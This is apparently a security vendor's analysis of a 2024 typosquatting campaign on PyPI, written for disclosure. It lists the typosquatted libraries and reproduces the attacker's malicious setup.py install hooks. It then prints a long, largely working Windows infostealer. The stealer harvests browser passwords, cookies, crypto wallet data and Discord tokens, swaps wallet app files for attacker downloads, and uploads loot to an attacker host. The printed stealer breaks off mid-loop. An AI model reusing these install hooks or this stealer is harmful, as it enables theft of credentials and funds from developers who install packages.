Typosquatting Campaign Targets Python Developers

Typosquatting Campaign Targets Python Developers

On 26 March 2024, Phylum’s automated risk detection platform picked up yet another typosquat campaign targeting some attackers’ favorite targets in PyPI. As of writing, this attack still appears to be active and has come in two big waves after about a 20-hour break in between. So far, we’ve seen over 500 typosquat variations published targeting the following popular Python libraries:

--cta--

Background

First, a few hours before the automated attack started we can see the attacker experimenting with a package called schubismomv3. 11 packages and about 2.5 hours later, we can see the attacker testing a variety of malware deployment techniques. In the first 4 releases we can see the attacker experimenting with install hooks:

from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.3.0'
DESCRIPTION = '...'
LONG_DESCRIPTION = 'This is a very long description yesyes'

class CrazyInstallStrat(install):
        def run(self):
            if os.name == "nt":
                open(f'C:/Users/{os.getlogin()}/Desktop/fortnitemobile.txt', 'w').write('Hello Fortnite')
            install.run(self)

setup(
    name="schubismomv3",
    version=VERSION,
    author="John Hammond",
    author_email="...",
    description=DESCRIPTION,
    long_description_content_type="text/markdown",
    long_description=LONG_DESCRIPTION,
    cmdclass={
        'install': CrazyInstallStrat,
    },
    packages=find_packages(),
    install_requires=['fernet', 'requests'],
    keywords=['ratting'],
    classifiers=[
        "Operating System :: Microsoft :: Windows",
    ]
)

The setup.py file from the fourth publication, v1.3.0.

Then we can see them experimenting with smuggling the encrypted payload in a string that gets written to a local file and then executed:

from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.4.0'
DESCRIPTION = '...'
LONG_DESCRIPTION = 'This is a very long description yesyes'

class GruppeInstall(install):
        def run(self):
            if os.name == "nt":
                import sys
                import subprocess
                from fernet import Fernet
                content = """
from fernet import Fernet
exec(Fernet(b'0NZNQrY2qyKltdz3nQgN4wnPHJdzu18uXtOdMNS8x3E=').decrypt(b'gAAAAABl_v2rIKNwUIj1---TRUNCATED---').decode())
                """
                gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')

                with open(gruppe_path, 'w') as file:
                    file.write(content)

                subprocess.Popen([sys.executable, gruppe_path],creationflags=subprocess.CREATE_NO_WINDOW | subprocess.DETACHED_PROCESS)

            install.run(self)

setup(
    name="schubismomv3",
    version=VERSION,
    author="John Hammond",
    author_email="...",
    description=DESCRIPTION,
    long_description_content_type="text/markdown",
    long_description=LONG_DESCRIPTION,
    cmdclass={
        'install': GruppeInstall,
    },
    packages=find_packages(),
    install_requires=['fernet'],
    keywords=['ratting'],
    classifiers=[
        "Operating System :: Microsoft :: Windows",
    ]
)

The setup.py file from the fourth publication, v1.4.0.

Variations of the above are iterated on for the rest of the schubismomv3 publications. The diffs mainly show the author trying to get the Fernet dependency installed and working correctly. The payload, which we’ll explore below, remains largely the same and when decrypted (what’s the point of encryption when you ship your key with it?) reveals a pretty run-of-the-mill stealer.

About 1.5 hours after the last publication of schubismomv3, we see the publication of insanepackagev1414, again with the malicious bit in the setup.py file:

from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.0.0'
DESCRIPTION = 'crazy test description'
LONG_DESCRIPTION = 'crazy long test description'

class GruppeInstall(install):
        def run(self):
            import os
            if os.name == "nt":
                import requests
                from fernet import Fernet
                exec(Fernet(b'E15Vb0ro8C-RQVm_HonJQeYM7QqH_QL6GXe3BpqaJJw=').decrypt(b'gAAAAABmAzaWWvpPHQ1jJXbTyRJlwy1MP-o3USdlhSFHB2qMHxn7KSvs4SiW86NeHfa_qIB3KimenfBA0tb5MeyNeDEbDEMXK0sY05SbUZU64VR8PfxpgnKEWTP3oOaQIYVUzLcMBE0DF5EKPXuHvaXuEhHpdH9Wp1u4rrxwvUCM4BVsoMynOnJP1nN6fbCjiWryEo39-63odiENVw81V4-yReuYZEInyU0uwdLCv_-zqqUR36si-q4='))

            install.run(self)

setup(
    name="insanepackagev1414",
    version=VERSION,
    author="Crazy Author",
    author_email="nig@gruppe.ru",
    description=DESCRIPTION,
    long_description_content_type="text/markdown",
    long_description=LONG_DESCRIPTION,
    cmdclass={
        'install': GruppeInstall,
    },
    packages=find_packages(),
    setup_requires=['fernet', 'requests'],
    keywords=[],
    classifiers=[
        "Operating System :: Microsoft :: Windows",
    ]
)

the setup.py file from insanepackagev1414.

The main difference here is that the payload is significantly smaller. Let’s quickly decrypt it to see what changed there:

b"exec(requests.get('https://funcaptcha[.]ru/paste2?package=insanepackagev1414').text.replace('><pre>','').replace('</pre>',''))"

The decrypted payload

They’ve elected to pull the payload from a remote URL instead of stuffing it in its entirety into the setup file. At this point the attacker publishes seven more varieties of these packages under different variations of the “insanepackage” naming scheme over the next 25 minutes.

The Attack Starts

Finally, at around 15:06 UTC, about 45 minutes after the last “insane” publication, we see the start of the typosquatting attack. Over the next 1.5 hours the attacker publishes the following typosquat variations:

  • 36 variations of requests
  • 61 variations of py-cord
  • 35 variations of colorama
  • 36 variations of capmonstercloudclient
  • 20 variations of pillow
  • 24 variations of bip-utils

At this point the attack paused with the final publication at 16:31 UTC. Then, strangely, the next day at 07:56, the attacker published a package called johnhammondfanpackage124 and another one called johnhammondontop183 five hours later. After the bizarre interlude, the attack picked up again 20 minutes later with the following typosquat variations:

  • 29 variations of tensorflow
  • 26 variations of BeautifulSoup
  • 26 variations of PyGame
  • 15 variations of SimpleJson
  • 38 variations of Matplotlib
  • 26 variations of PyTorch
  • 67 variations of CustomTKInter
  • 28 variations of selenium
  • 17 variations of playwright
  • 15 variations of asyncio
  • 67 variations of requirements

This works out to a total of 566 typosquat publications as of writing. PyPI has done a great job of promptly removing these packages. In fact, because this attacker had automated the account and project creation process, at 02:16 UTC on 28 March 2024, PyPI rightfully decided to put their foot down to prevent further publications and fallout from this attack by temporarily suspending new project and new account creations.

Screenshot of PyPI status page shortly after suspension started. Note that full service has been re-instated as of 28 March 2024 at 12:56UTC.

The Attack Chain

As mentioned above, the attack chain starts in the setup.py file which means that simply installing this package will trigger the malware deployment. We already decrypted the first stage so let’s go grab what’s at the funcaptcha[.]ru site:

import sys
import os
content = """
import subprocess
import sys
subprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
from fernet import Fernet
exec(Fernet(b'0NZNQrY2qyKltdz3nQgN4wnPHJdzu18uXtOdMNS8x3E=').decrypt(b'gAAAAABl_v2rIKNwUIj1-LLysV---TRUNCATED---').decode())
"""
gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')

with open(gruppe_path, 'w') as file:
    file.write(content)

os.system(sys.executable + " " + gruppe_path)

Looks familiar, let’s decrypt that:

import base64
import json
import os
import re
import sqlite3
import shutil
import subprocess
import zipfile
import sys
from urllib.request import Request, urlopen

CURRENT_INTERPRETER = sys.executable
proc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32","requests"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)
proc.wait()
try:
    import win32crypt
    from Crypto.Cipher import AES
    import requests
except:
    current_file = os.path.abspath(__file__)
    subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)
    exit()

USER_PROFILE = os.getenv('USERPROFILE')
APPDATA = os.getenv('APPDATA')
LOCALAPPDATA = os.getenv('LOCALAPPDATA')
STORAGE_PATH = APPDATA + "\\\\gruppe_storage"
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")

if not os.path.exists(STORAGE_PATH):
    os.makedirs(STORAGE_PATH)

CHROMIUM_BROWSERS = [
    {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe"},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe"},
    {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
]

CHROMIUM_SUBPATHS = [
    {"name": "None", "path": ""},
    {"name": "Default", "path": "Default"},
    {"name": "Profile 1", "path": "Profile 1"},
    {"name": "Profile 2", "path": "Profile 2"},
    {"name": "Profile 3", "path": "Profile 3"},
    {"name": "Profile 4", "path": "Profile 4"},
    {"name": "Profile 5", "path": "Profile 5"},
]

BROWSER_EXTENSIONS = [
    {"name": "Authenticator", "path": "\\\\Local Extension Settings\\\\bhghoamapcdpbohphigoooaddinpkbai"},
    {"name": "Binance", "path": "\\\\Local Extension Settings\\\\fhbohimaelbohpjbbldcngcnapndodjp"},
    {"name": "Bitapp", "path": "\\\\Local Extension Settings\\\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
    {"name": "BoltX", "path": "\\\\Local Extension Settings\\\\aodkkagnadcbobfpggfnjeongemjbjca"},
    {"name": "Coin98", "path": "\\\\Local Extension Settings\\\\aeachknmefphepccionboohckonoeemg"},
    {"name": "Coinbase", "path": "\\\\Local Extension Settings\\\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
    {"name": "Core", "path": "\\\\Local Extension Settings\\\\agoakfejjabomempkjlepdflaleeobhb"},
    {"name": "Crocobit", "path": "\\\\Local Extension Settings\\\\pnlfjmlcjdjgkddecgincndfgegkecke"},
    {"name": "Equal", "path": "\\\\Local Extension Settings\\\\blnieiiffboillknjnepogjhkgnoapac"},
    {"name": "Ever", "path": "\\\\Local Extension Settings\\\\cgeeodpfagjceefieflmdfphplkenlfk"},
    {"name": "ExodusWeb3", "path": "\\\\Local Extension Settings\\\\aholpfdialjgjfhomihkjbmgjidlcdno"},
    {"name": "Fewcha", "path": "\\\\Local Extension Settings\\\\ebfidpplhabeedpnhjnobghokpiioolj"},
    {"name": "Finnie", "path": "\\\\Local Extension Settings\\\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
    {"name": "Guarda", "path": "\\\\Local Extension Settings\\\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
    {"name": "Guild", "path": "\\\\Local Extension Settings\\\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
    {"name": "HarmonyOutdated", "path": "\\\\Local Extension Settings\\\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
    {"name": "Iconex", "path": "\\\\Local Extension Settings\\\\flpiciilemghbmfalicajoolhkkenfel"},
    {"name": "Jaxx Liberty", "path": "\\\\Local Extension Settings\\\\cjelfplplebdjjenllpjcblmjkfcffne"},
    {"name": "Kaikas", "path": "\\\\Local Extension Settings\\\\jblndlipeogpafnldhgmapagcccfchpi"},
    {"name": "KardiaChain", "path": "\\\\Local Extension Settings\\\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
    {"name": "Keplr", "path": "\\\\Local Extension Settings\\\\dmkamcknogkgcdfhhbddcghachkejeap"},
    {"name": "Liquality", "path": "\\\\Local Extension Settings\\\\kpfopkelmapcoipemfendmdcghnegimn"},
    {"name": "MEWCX", "path": "\\\\Local Extension Settings\\\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
    {"name": "MaiarDEFI", "path": "\\\\Local Extension Settings\\\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
    {"name": "Martian", "path": "\\\\Local Extension Settings\\\\efbglgofoippbgcjepnhiblaibcnclgk"},
    {"name": "Math", "path": "\\\\Local Extension Settings\\\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
    {"name": "Metamask", "path": "\\\\Local Extension Settings\\\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
    {"name": "Metamask2", "path": "\\\\Local Extension Settings\\\\ejbalbakoplchlghecdalmeeeajnimhm"},
    {"name": "Mobox", "path": "\\\\Local Extension Settings\\\\fcckkdbjnoikooededlapcalpionmalo"},
    {"name": "Nami", "path": "\\\\Local Extension Settings\\\\lpfcbjknijpeeillifnkikgncikgfhdo"},
    {"name": "Nifty", "path": "\\\\Local Extension Settings\\\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
    {"name": "Oxygen", "path": "\\\\Local Extension Settings\\\\fhilaheimglignddkjgofkcbgekhenbh"},
    {"name": "PaliWallet", "path": "\\\\Local Extension Settings\\\\mgffkfbidihjpoaomajlbgchddlicgpn"},
    {"name": "Petra", "path": "\\\\Local Extension Settings\\\\ejjladinnckdgjemekebdpeokbikhfci"},
    {"name": "Phantom", "path": "\\\\Local Extension Settings\\\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
    {"name": "Pontem", "path": "\\\\Local Extension Settings\\\\phkbamefinggmakgklpkljjmgibohnba"},
    {"name": "Ronin", "path": "\\\\Local Extension Settings\\\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
    {"name": "Safepal", "path": "\\\\Local Extension Settings\\\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
    {"name": "Saturn", "path": "\\\\Local Extension Settings\\\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
    {"name": "Slope", "path": "\\\\Local Extension Settings\\\\pocmplpaccanhmnllbbkpgfliimjljgo"},
    {"name": "Solfare", "path": "\\\\Local Extension Settings\\\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
    {"name": "Sollet", "path": "\\\\Local Extension Settings\\\\fhmfendgdocmcbmfikdcogofphimnkno"},
    {"name": "Starcoin", "path": "\\\\Local Extension Settings\\\\mfhbebgoclkghebffdldpobeajmbecfk"},
    {"name": "Swash", "path": "\\\\Local Extension Settings\\\\cmndjbecilbocjfkibfbifhngkdmjgog"},
    {"name": "TempleTezos", "path": "\\\\Local Extension Settings\\\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
    {"name": "TerraStation", "path": "\\\\Local Extension Settings\\\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
    {"name": "Tokenpocket", "path": "\\\\Local Extension Settings\\\\mfgccjchihfkkindfppnaooecgfneiii"},
    {"name": "Ton", "path": "\\\\Local Extension Settings\\\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
    {"name": "Tron", "path": "\\\\Local Extension Settings\\\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
    {"name": "Trust Wallet", "path": "\\\\Local Extension Settings\\\\egjidjbpglichdcondbcbdnbeeppgdph"},
    {"name": "Wombat", "path": "\\\\Local Extension Settings\\\\amkmjjmmflddogmhpjloimipbofnfjih"},
    {"name": "XDEFI", "path": "\\\\Local Extension Settings\\\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
    {"name": "XMR.PT", "path": "\\\\Local Extension Settings\\\\eigblbgjknlfbajkfhopmcojidlgcehm"},
    {"name": "XinPay", "path": "\\\\Local Extension Settings\\\\bocpokimicclpaiekenaeelehdjllofo"},
    {"name": "Yoroi", "path": "\\\\Local Extension Settings\\\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
    {"name": "iWallet", "path": "\\\\Local Extension Settings\\\\kncchdigobghenbbaddojjnnaogfppfj"}
]

WALLET_PATHS = [
    {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
    {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
    {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
    {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
    {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
    {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
    {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
    {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
    {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
    {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
    {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
]

PATHS_TO_SEARCH = [
    USER_PROFILE + "\\\\Desktop",
    USER_PROFILE + "\\\\Documents",
    USER_PROFILE + "\\\\Downloads",
    USER_PROFILE + "\\\\OneDrive\\\\Documents",
    USER_PROFILE + "\\\\OneDrive\\\\Desktop",
]

FILE_KEYWORDS = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "account",
        "acount",
        "paypal",
        "banque",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "seecret"
]

ALLOWED_EXTENSIONS = [
    ".txt",
    ".log",
    ".doc",
    ".docx",
    ".xls",
    ".xlsx",
    ".ppt",
    ".pptx",
    ".odt",
    ".pdf",
    ".rtf",
    ".json",
    ".csv",
    ".db",
    ".jpg",
    ".jpeg",
    ".png",
    ".gif",
    ".webp",
    ".mp4"
]

DISCORD_PATHS = [
    {"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},
    {"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},
    {"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable", "Local Storage", "leveldb")},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable", "Local Storage", "leveldb")},
    {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data", "Local Storage", "leveldb")},
    {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data", "Local Storage", "leveldb")},
    {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data", "Local Storage", "leveldb")},
    {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data", "Local Storage", "leveldb")},
    {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data", "Local Storage", "leveldb")},
    {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data", "Local Storage", "leveldb")},
    {"name": "Sputnik", "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data", "Local Storage", "leveldb")},
    {"name": "Vivaldi", "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data", "Local Storage", "leveldb")},
    {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Chrome1", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 1", "Local Storage", "leveldb")},
    {"name": "Chrome2", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 2", "Local Storage", "leveldb")},
    {"name": "Chrome3", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 3", "Local Storage", "leveldb")},
    {"name": "Chrome4", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 4", "Local Storage", "leveldb")},
    {"name": "Chrome5", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 5", "Local Storage", "leveldb")},
    {"name": "Epic Privacy Browser", "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data", "Local Storage", "leveldb")},
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Uran", "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Yandex", "path": os.path.join(LOCALAPPDATA, "Yandex", "YandexBrowser", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Storage", "leveldb")},
    {"name": "Iridium", "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data", "Default", "Local Storage", "leveldb")}
]
DISCORD_TOKENS = []
PASSWORDS = []
COOKIES = []
DISCORD_IDS = []

def decrypt_data(data, key):
    try:
        iv = data[3:15]
        data = data[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(data)[:-16].decode()
    except:
        return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])

def zip_to_storage(name, source, destination):
    if os.path.isfile(source):
        with zipfile.ZipFile(destination + f"\\\\{name}.zip", "w") as z:
            z.write(source, os.path.basename(source))
    else:
        with zipfile.ZipFile(destination + f"\\\\{name}.zip", "w") as z:
            for root, dirs, files in os.walk(source):
                for file in files:
                    z.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(source, '..')))

def upload_to_server(filepath):
    for i in range(10):
        try:
            url = "https://funcaptcha[.]ru/delivery"
            files = {'file': open(filepath, 'rb')}
            r = requests.post(url, files=files)
            if r.status_code == 200:
                break
        except: pass

def validate_discord_token(token):
    r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
    if r.status_code == 200:
        return r.json()
    else:
        return None

def taskkill(taskname):
    subprocess.run(["taskkill", "/F", "/IM", taskname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def inject():
    procc = "exodus.exe"
    local = os.getenv("localappdata")
    path = f"{local}/exodus"
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = "https://funcaptcha.ru/app.asar"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
    req = Request(exodusPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    for app in apps:
        try:
            fullpath = f"{path}/{app}/resources/app.asar"
            with open(fullpath, 'wb') as out_file1:
                out_file1.write(data)
        except: pass

for i in range(10):
    try:
        inject()
        break
    except: pass
def inject_atomic():
    procc = "Atomic Wallet.exe"
    local = os.getenv("localappdata")
    path = f"{local}/Programs/atomic"
    if not os.path.exists(path): return
    atomicPatchURL = "https://funcaptcha[.]ru/atomic/app.asar"
    headers = {"User-Agent": "Mozilla/5.0"}
    req = Request(atomicPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    try:
        fullpath = f"{path}/resources/app.asar"
        with open(fullpath, 'wb') as out_file1:
            out_file1.write(data)
    except: pass

for i in range(10):
    try:
        inject_atomic()
        break
    except: pass

for browser in CHROMIUM_BROWSERS:
    taskkill(browser["taskname"])
    local_state = os.path.join(browser["path"], "Local State")
    if not os.path.exists(local_state): continue
    with open(local_state, "r", encoding="utf-8") as f:
        local_state = json.loads(f.read())
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
    decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    for subpath in CHROMIUM_SUBPATHS:
        if not os.path.exists(os.path.join(browser["path"], subpath["path"])): continue
        try:
            login_data_file = os.path.join(browser["path"], subpath["path"], "Login Data")
            temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-pw.db")
            shutil.copy(login_data_file, temp_db)
            connection = sqlite3.connect(temp_db)
            cursor = connection.cursor()
            cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
            for row in cursor.fetchall():
                origin_url = row[0]
                username = row[1]
                password = decrypt_data(row[2], decryption_key)
                if username or password:
                    PASSWORDS.append({"browser": browser["name"], "profile": subpath["name"], "url": origin_url, "username": username, "password": password})
            cursor.close()
            connection.close()
            os.remove(temp_db)
        except:
            pass

        try:
            cookies_file = os.path.join(browser["path"], subpath["path"], "Network", "Cookies")
            temp_db = os.path.join(browser["path"], subpath["path"], "Network", f"{browser['name']}-ck.db")
            shutil.copy(cookies_file, temp_db)
            connection = sqlite3.connect(temp_db)
            cursor = connection.cursor()
            cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
            cookie_str = ""
            for row in cursor.fetchall():
                host = row[0]
                name = row[1]
                value = decrypt_data(row[2], decryption_key)
                cookie_str += f"{host}\\tTRUE\\t/\\tFALSE\\t13355861278849698\\t{name}\\t{value}\\n"
            COOKIES.append({"browser": browser["name"], "profile": subpath["name"], "cookies": base64.b64encode(cookie_str.encode()).decode()})
            cursor.close()
            connection.close()
            os.remove(temp_db)
        except:
            pass
        for extension in BROWSER_EXTENSIONS:
            extension_path = os.path.join(browser["path"], subpath["path"]) + extension["path"]
            if os.path.exists(extension_path):
                try:
                    zip_to_storage(f"{browser['name']}-{subpath['name']}-{extension['name']}", extension_path, STORAGE_PATH)
                except:
                    pass
firefox_path = os.path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles')
if os.path.exists(firefox_path):
    taskkill("firefox.exe")
    for profile in os.listdir(firefox_path):
        try:
            if profile.endswith('.default') or profile.endswith('.default-release'):
                profile_path = os.path.join(firefox_path, profile)
                if os.path.exists(os.path.join(profile_path, "cookies.sqlite")):
                    shutil.copy(os.path.join(profile_path, "cookies.sqlite"), os.path.join(profile_path, "cookies-copy.sqlite"))
                    connection = sqlite3.connect(os.path.join(profile_path, "cookies-copy.sqlite"))
                    cursor = connection.cursor()
                    cursor.execute("SELECT host, name, value FROM moz_cookies")
                    cookie_str = ""
                    for row in cursor.fetchall():
                        host, name, value = row
                        cookie_str += f"{host}\\tTRUE\\t/\\tFALSE\\t13355861278849698\\t{name}\\t{value}\\n"
                    COOKIES.append({"browser": "Firefox", "profile": profile, "cookies": base64.b64encode(cookie_str.encode()).decode()})
                    cursor.close()
                    connection.close()
                    os.remove(os.path.join(profile_path, "cookies-copy.sqlite"))
        except:
            continue

for wallet_file in WALLET_PATHS:
    if os.path.exists(wallet_file["path"]):
        try:
            zip_to_storage(wallet_file["name"], wallet_file["path"], STORAGE_PATH)
        except:
            pass

for discord_path in DISCORD_PATHS:
    if not os.path.exists(discord_path["path"]): continue
    try:
        name_without_spaces = discord_path["name"].replace(" ", "")
        if "cord" in discord_path["path"]:
            if not os.path.exists(APPDATA + f"\\\\{name_without_spaces}\\\\Local State"): continue
            try:
                with open(APPDATA + f"\\\\{name_without_spaces}\\\\Local State", "r", encoding="utf-8") as f:
                    local_state = json.loads(f.read())
                key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
                decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
                for file_name in os.listdir(discord_path["path"]):
                    if file_name[-3:] not in ["ldb", "log"]: continue
                    for line in [x.strip() for x in open(f'{discord_path["path"]}\\\\{file_name}', errors='ignore').readlines() if x.strip()]:
                        for y in re.findall(r"dQw4w9WgXcQ:[^\\"]*", line):
                            token = decrypt_data(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), decryption_key)
                            token_data = validate_discord_token(token)
                            if token_data:
                                if token_data["id"] not in DISCORD_IDS:
                                    DISCORD_IDS.append(token_data["id"])
                                    username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
                                    phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
                                    DISCORD_TOKENS.append(
                                        {"token": token, "user_id": token_data["id"], "username": username,
                                         "display_name": token_data["global_name"], "email": token_data["email"],
                                         "phone": phone_number})
            except:
                pass
        else:
            for file_name in os.listdir(discord_path["path"]):
                if file_name[-3:] not in ["ldb", "log"]: continue
                for line in [x.strip() for x in open(f'{discord_path["path"]}\\\\{file_name}', errors='ignore').readlines() if x.strip()]:
                    for token in re.findall(r"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}", line):
                        token_data = validate_discord_token(token)
                        if token_data:
                            if token_data["id"] not in DISCORD_IDS:
                                DISCORD_IDS.append(token_data["id"])
                                username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
                                phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
                                DISCORD_TOKENS.append(
                                    {"token": token, "user_id": token_data["id"], "username": username,
                                     "display_name": token_data["global_name"], "email": token_data["email"],
                                     "phone": phone_number})
    except:
        pass

with open(STORAGE_PATH + "\\\\Passwords.txt", "w") as f:
    f.write(
        f"\\n{'-'*50}\\n".join([
            f"LOCATION: {pw['browser']} - {pw['profile']}\\n"
            f"URL: {pw['url']}\\n"
            f"USERNAME: {pw['username']}\\n"
            f"PASSWORD: {pw['password']}"
            for pw in PASSWORDS
        ])
    )
upload_to_server(STORAGE_PATH + "\\\\Passwords.txt")
for cookie in COOKIES:
    with open(STORAGE_PATH + f"\\\\Cookies-{cookie['browser']}-{cookie['profile']}.txt", "w") as f:
        f.write(base64.b64decode(cookie["cookies"]).decode())

for discord_token in DISCORD_TOKENS:
    with open(STORAGE_PATH + "\\\\discord-tokens.txt", "w") as f:
        f.write(
            f"\\n{'-' * 50}\\n".join([
                f"ID: {discord_token['user_id']}\\n"
                f"USERNAME: {discord_token['username']}\\n"
                f"DISPLAY NAME: {discord_token['display_name']}\\n"
                f"EMAIL: {discord_token['email']}\\n"
                f"PHONE: {discord_token['phone']}\\n"
                f"TOKEN: {discord_token['token']}"
                for discord_token in DISCORD_TOKENS
            ])
        )

for file_to_upload in os.listdir(STORAGE_PATH):
    try:
